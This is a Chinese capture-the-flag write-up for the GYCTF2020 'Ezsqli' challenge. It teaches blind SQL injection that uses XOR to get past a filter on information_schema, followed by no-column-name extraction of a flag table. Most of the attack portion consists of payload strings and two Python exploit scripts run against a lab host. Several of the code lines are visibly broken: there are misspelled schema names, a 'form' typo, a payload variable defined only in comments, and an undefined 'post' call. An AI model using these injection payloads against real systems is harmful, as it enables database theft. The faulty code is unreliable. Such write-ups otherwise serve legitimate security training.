[GYCTF2020]Ezsqli
考点:过滤掉information.schema的盲注和无列名注入
这种sql注入的题还是第一次见,做不出来于是参考了两位大佬的wp颖奇L'Amore和Smi1e
预备知识:聊一聊bypass information_schema
简单来说,这个库在mysql中就是个信息数据库,它保存着mysql服务器所维护的所有其他数据库的信息,包括了数据库名,表名,字段名等。
有了information.schema之后我们就可以通过这个信息数据库来查询我们想要的数据库名,表名,字段名等等,比如:
#查询数据库名
select schema_name form information.schema.schemata
#查询表名
select group_concat(table_name) from information.schema.tables where table_schema=database()
#查询列名
select group_concat(column_name) from information.schema.columns where table_name='xxx'
那当information.schema被过滤之后怎么办呢?我们就可以找一些他的替代品
select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()
select group_concat(table_name) from sys.x$schema_flattened_keys
使用这两个同样可以查询出数据库下的所有表,好像还有很多,这里我就不一一列举了
好了开始看题,先fuzz一下,发现or
,and
,if
,union select
,information.schema
等等这些都被过滤了,发现^
没有被过滤
当输入
1^1=1
时,出现Error Occured When Fetch Result.字样
当输入1^1=0
时,出现Nu1L
说明可以盲注 , 先说一下^
异或注入是什么意思:
1^1 返回false
1^0 返回true
0^0 返回false
简言之就只是两个条件相同返回假,一真一假返回真。我们便可以利用这点来进行盲注,我们可以通过返回值判断^后面的不等式是否成立,从而遍历出关键数据。
payload:1^(ascii(mid(database(),1,1))>n)
脚本用上次学到的二分法,很快,下面是exp1:
import requests
url = "http://14f4c589-ab8c-40e7-b99c-4675128613b2.node3.buuoj.cn/index.php"
data = {
'id':''
}
result = ""
tmp = ''
i = 0
def str2hex(string):
c='0x'
a=''
for i in string:
a+=hex(ord(i))
return c+a.replace('0x','')
while(True):
i = i + 1
low = 32
high = 127
while(low < high):
tmp = ''
mid = (low + high) >> 1
tmp += str2hex(result+chr(mid))
#payload = "1^(ascii(mid(database(),%d,1))>%d)"%(i,mid)
# 数据库名:give_grandpa_pa_pa_pa
#payload = "1^(ascii(mid((select group_concat(table_name) from sys.x$schema_flattened_keys),%d,1))>%d)"%(i,mid)
# 表名:news,users,f1ag_1s_h3r3_hhhhh,users233333333333333
data['id'] = payload
r = requests.post(url=url,data=data)
if "Error Occured When Fetch Result." in r.text:
low = mid + 1
else:
high = mid
if low != 32:
result += chr(low-1)
else:
break
print(result)
得到表名,下面要用到无列名注入,
核心payload:((select 1,{})>(select * from(f1ag_1s_h3r3_hhhhh)))#{}内为需要与目标比较的值
这个是按位比较,先比较第一位,如果第一位相等再比较第二位,再比较第三位···
admin>acmin
flag<flah
flag{123}>glag{123}
上面的admin与acmin,比较时先比较第一位,都是a,相同,再比较下一位,d>c,所以admin>acmin。这样依次按位比较的过程,我们用一个for循环就可以轻松跑出flag,下面是上面大佬的exp:
import requests
url='http://14f4c589-ab8c-40e7-b99c-4675128613b2.node3.buuoj.cn/'
flag=''
tmp=''
def str2hex(string):
c='0x'
a=''
for i in string:
a+=hex(ord(i))
return c+a.replace('0x','')
for i in range(1,50):
for y in range(32,127):
tmp+=str2hex(flag+chr(y))
data={
'id':'0^((select 1,{})>(select * from(f1ag_1s_h3r3_hhhhh)))'.format(tmp)
}
a=post(url=url,data=data)
if 'Nu1L' in a.text:
flag+=chr(y-1)
tmp=''
break
tmp=''
print(flag.lower())
其中mysql碰到十六进制会自动转化为字符串,最后明明flag全部为小写,但输出却全部为大写,很奇怪,不太懂,之后再慢慢考虑吧。